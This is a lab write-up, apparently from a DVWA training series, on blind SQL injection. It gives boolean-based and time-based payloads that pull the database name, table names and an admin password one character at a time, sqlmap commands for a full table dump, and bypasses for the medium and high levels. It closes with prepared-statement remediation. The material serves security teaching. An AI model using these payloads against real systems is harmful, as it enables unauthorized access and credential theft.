🔍 04 — SQL Injection (Blind)

SQL Injection — Blind

OWASP: A03 - Injection | **CWE**: CWE-89 | **Severity**: 🔴 Critical

---

📖 Description

Blind SQL injection is where the application doesn't return query results or error messages to the attacker. Instead, attackers infer information through the application's behavior: page content changes (boolean-based) or response time delays (time-based).

DVWA Endpoint: `http://localhost/dvwa/vulnerabilities/sqli_blind/`

⚠️ Security Level: LOW

Detection

```
# Input: 1
# Output: "User ID exists in the database."

# Input: 2
# Output: "User ID exists in the database."

# Input: 99
# Output: "User ID is MISSING from the database."

# This binary response = Blind SQLi target
```

Boolean-Based Blind PoC

```
-- True condition ("exists" message)
1' AND 1=1--
```

```
1' AND 'a'='a'--

-- False condition ("missing" message)
1' AND 1=2--
1' AND 'a'='b'--

-- Extract database name char by char
-- Is first char of db name = 'd'?
1' AND SUBSTRING(database(),1,1)='d'--   <- exists (TRUE)
1' AND SUBSTRING(database(),1,1)='e'--   <- missing (FALSE)

-- Binary search method (more efficient)
1' AND ASCII(SUBSTRING(database(),1,1))>100--
1' AND ASCII(SUBSTRING(database(),1,1))>110--
1' AND ASCII(SUBSTRING(database(),1,1))=100--  <- 100 = 'd'

-- Extract database length
1' AND LENGTH(database())=4--   <- TRUE if db name is 4 cha
rs

-- Extract table names
1' AND SUBSTRING((SELECT table_name FROM information_schem
a.tables WHERE table_schema=database() LIMIT 0,1),1,1)='g'-
-

-- Extract user passwords (char by char)
1' AND SUBSTRING((SELECT password FROM users WHERE user='ad
min'),1,1)='5'--
```

Time-Based Blind PoC

```
-- Detect injection via sleep (page delays 5 seconds)
1' AND SLEEP(5)--

-- Conditional time delay
1' AND IF(1=1,SLEEP(5),0)--    <- 5 sec delay (TRUE)
1' AND IF(1=2,SLEEP(5),0)--    <- no delay (FALSE)
```

```
-- Extract data via time delay
1' AND IF(SUBSTRING(database(),1,1)='d',SLEEP(5),0)--
1' AND IF(LENGTH(database())=4,SLEEP(5),0)--
1' AND IF(SUBSTRING((SELECT password FROM users WHERE user
='admin'),1,1)='5',SLEEP(5),0)--
```

Automated SQLMap (Blind)

```
# Boolean-based technique
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blin
d/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=YOUR_SESSION; security=low" \
  --technique=B \
  --dbs -v 3

# Time-based technique
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blin
d/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=YOUR_SESSION; security=low" \
  --technique=T \
  --dbs

# Full dump using blind techniques
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blin
d/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=YOUR_SESSION; security=low" \
  -D dvwa -T users --dump --technique=BT
```

⚠️ Security Level: MEDIUM

Defense

`mysqli_real_escape_string()` applied, POST-based form.

Bypass (same as regular SQLi medium)

```
-- Numeric context bypass (no quotes needed)
1 AND 1=1
```

```
1 AND SLEEP(5)
1 AND IF(1=1,SLEEP(5),0)
```

⚠️ Security Level: HIGH

Defense

Random sleep added per request to defeat timing attacks.

```
sleep(rand(0, 3));  // Random delay 0-3 seconds
```

Impact on Time-Based

```
- Random delay makes timing-based inference unreliable
- Boolean-based still works! Response text differs for Tru
e/False.

# Boolean still works:
1' AND 1=1--  <- "User ID exists"
1' AND 1=2--  <- "User ID missing"
```

⚠️ Security Level: IMPOSSIBLE

Defense

PDO parameterized queries.

```
$data = $db->prepare('SELECT first_name, last_name FROM use
rs WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
```

✅ Remediation

Same as regular SQLi:

1. Prepared statements
2. Input validation

3. Disable detailed error messages
4. Monitor for SLEEP-based anomalies in logs

📚 References

- OWASP Blind SQLi: https://owasp.org/www-community/attacks/Blind_SQL_Injection
- SQLMap Techniques: https://sqlmap.org/